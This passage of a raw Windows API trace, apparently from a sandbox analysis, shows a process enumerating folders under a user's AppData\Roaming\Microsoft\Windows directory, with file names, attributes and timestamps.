ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Printer Shortcuts", cAlternateFileName="PRINTE~1")) returned 1 [0215.447] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x297b3c1a, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x297b3c1a, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0215.448] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x8c427141, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x8c473662, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0215.448] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0215.448] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0215.448] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeb77be3, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0xaebea315, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0xaebea315, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1 [0215.449] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeb77be3, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0xaebea315, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0xaebea315, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0 [0215.449] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0215.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0215.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0215.449] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows", lpFilePart=0x0) returned 0x37 [0215.450] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.450] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.450] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43708645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43708645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43708645, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccountPictures", cAlternateFileName="ACCOUN~1")) returned 1 [0215.450] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x4347fe61, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2b1d2cc3, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1d8e71, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0215.451] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Shortcuts", cAlternateFileName="NETWOR~1")) returned 1 [0215.451] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74c712a9, ftCreationTime.dwHighDateTime=0x1d93633, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShell", cAlternateFileName="POWERS~1")) returned 1 [0215.451] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Printer Shortcuts", cAlternateFileName="PRINTE~1")) returned 1 [0215.451] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x297b3c1a, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x297b3c1a, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0215.451] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x8c427141, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x8c473662, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0215.452] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0215.452] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0215.452] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeb77be3, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0xaebea315, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0xaebea315, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1 [0215.452] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.453] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0215.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0215.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0215.453] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures", lpFilePart=0x0) returned 0x47 [0215.453] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\accountpictures\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43708645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43708645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43708645, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.453] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43708645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43708645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43708645, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.454] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x43708645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43708645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43708645, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0215.454] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.454] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0215.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0215.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0215.454] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures", lpFilePart=0x0) returned 0x47 [0215.454] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\accountpictures\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43708645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43708645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43708645, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.455] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43708645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43708645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43708645, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.455] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x43708645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43708645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43708645, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0215.455] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x43708645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43708645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43708645, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0215.455] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0215.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0215.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0215.456] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpFilePart=0x0) returned 0x41 [0215.456] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\libraries\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x4347fe61, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2b1d2cc3, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1d8e71, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0215.621] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x4347fe61, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2b1d2cc3, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1d8e71, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.621] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b10dbc5, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x3fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="CameraRoll.library-ms", cAlternateFileName="CAMERA~1.LIB")) returned 1 [0215.621] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x434a60af, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x434a60af, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x2b1d7aec, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0215.621] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43649a85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4366fcc2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43695fb2, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x858, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents.library-ms", cAlternateFileName="DOCUME~1.LIB")) returned 1 [0215.622] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4372e947, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x82e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.library-ms", cAlternateFileName="MUSIC~1.LIB")) returned 1 [0215.622] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436bc315, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436e2464, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436e2464, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x83f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures.library-ms", cAlternateFileName="PICTUR~1.LIB")) returned 1 [0215.622] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1d2cc3, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b1d2cc3, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1d4063, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, cFileName="SavedPictures.library-ms", cAlternateFileName="SAVEDP~1.LIB")) returned 1 [0215.622] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x434a60af, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435d73aa, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435d73aa, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x84a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos.library-ms", cAlternateFileName="VIDEOS~1.LIB")) returned 1 [0215.623] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.623] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0215.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0215.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0215.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0215.625] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpFilePart=0x0) returned 0x41 [0215.625] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\libraries\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x4347fe61, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2b1d2cc3, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1d8e71, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0215.626] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x4347fe61, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2b1d2cc3, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1d8e71, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 